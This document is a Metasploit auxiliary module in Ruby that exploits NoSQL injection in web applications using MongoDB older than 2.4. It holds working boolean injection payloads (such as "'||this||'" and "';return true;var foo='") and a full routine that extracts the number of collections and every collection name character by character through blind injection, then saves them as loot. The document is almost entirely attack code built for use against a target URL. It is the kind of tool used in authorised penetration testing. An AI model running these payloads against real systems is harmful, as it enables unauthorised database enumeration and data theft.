require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super (update_info(info,
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection" ,
'Description' => %q{
This module can exploit NoSQL injections on MongoDB versions less than 2 . 4
and enumerate the collections available in the data via boolean injections.
},
'License' => MSF_LICENSE ,
'Author' =>
[ 'Brandon Perry <bperry.volatile[at]gmail.com>' ],
'References' =>
[
],
'Platform' => [ 'linux' , 'win' ],
'Privileged' => false ,
'DisclosureDate' => "Jun 7 2014" ))
register_options(
[
OptString. new ( 'TARGETURI' , [ true , 'Full vulnerable URI with [NoSQLi] where the injection point is' , '/index.php?age=50[NoSQLi]' ])
], self . class )
end
def syntaxes
[[ "\"'||this||'" , "'||[inject]||'" ],
[ "\"';return+true;var+foo='" , "';return+[inject];var+foo='" ],
[ '\'"||this||"' , '"||[inject]||"' ],
[ '\'";return+true;var+foo="' , '";return+[inject];var+foo="' ],
[ "||this" , "||[inject]" ]]
end
def run
uri = datastore[ 'TARGETURI' ]
res = send_request_cgi({
'uri' => uri.sub( '[NoSQLi]' , '' )
})
if !res
fail_with( "Server did not respond in an expected way." )
end
pay = ""
fals = res.body
tru = nil
syntaxes. each do |payload|
print_status( "Testing " + payload[ 0 ])
res = send_request_cgi({
'uri' => uri.sub( '[NoSQLi]' , payload[ 0 ])
})
if res and res.body != fals and res.code == 200
print_status( "Looks like " + payload[ 0 ] + " works" )
tru = res.body
res = send_request_cgi({
'uri' => uri.sub( '[NoSQLi]' , payload[ 0 ].sub( 'true' , 'false' ).sub( 'this' , '!this' ))
})
if res and res.body != tru and res.code == 200
vprint_status( "I think I confirmed with a negative test." )
fals = res.body
pay = payload[ 1 ]
break
end
end
end
if pay == ''
fail_with( "Couldn't detect a payload, maybe it isn't injectable." )
end
length = 0
vprint_status( "Getting length of the number of collections." )
( 0 .. 100 ). each do |len|
str = "db.getCollectionNames().length==#{len}"
res = send_request_cgi({
'uri' => uri.sub( '[NoSQLi]' , pay.sub( '[inject]' , str))
})
if res and res.body == tru
length = len
print_status( "#{len} collections are available" )
break
end
end
vprint_status( "Getting collection names" )
names = []
( 0 ...length). each do |i|
vprint_status( "Getting length of name for collection " + i.to_s)
name_len = 0
( 0 .. 100 ). each do |k|
str = "db.getCollectionNames()[#{i}].length==#{k}"
res = send_request_cgi({
'uri' => uri.sub( '[NoSQLi]' , pay.sub( '[inject]' , str))
})
if res and res.body == tru
name_len = k
print_status( "Length of collection #{i}'s name is #{k}" )
break
end
end
vprint_status( "Getting collection #{i}'s name" )
name = ''
( 0 ...name_len). each do |k|
[*( 'a' .. 'z' ),*( '0' .. '9' ),*( 'A' .. 'Z' ), '.' ]. each do |c|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
res = send_request_cgi({
'uri' => uri.sub( '[NoSQLi]' , pay.sub( '[inject]' , str))
})
if res and res.body == tru
name << c
break
end
end
end
print_status( "Collections #{i}'s name is " + name)
names << name
end
p = store_loot( "mongo_injection.#{datastore['RHOST']}_collections" ,
"text/plain" ,
nil ,
names.to_json,
"mongo_injection_#{datastore['RHOST']}.txt" ,
"#{datastore[" RHOST "]} MongoDB Javascript Injection Collection Enumeration" )
print_good( "Your collections are located at: " + p)
end
end
|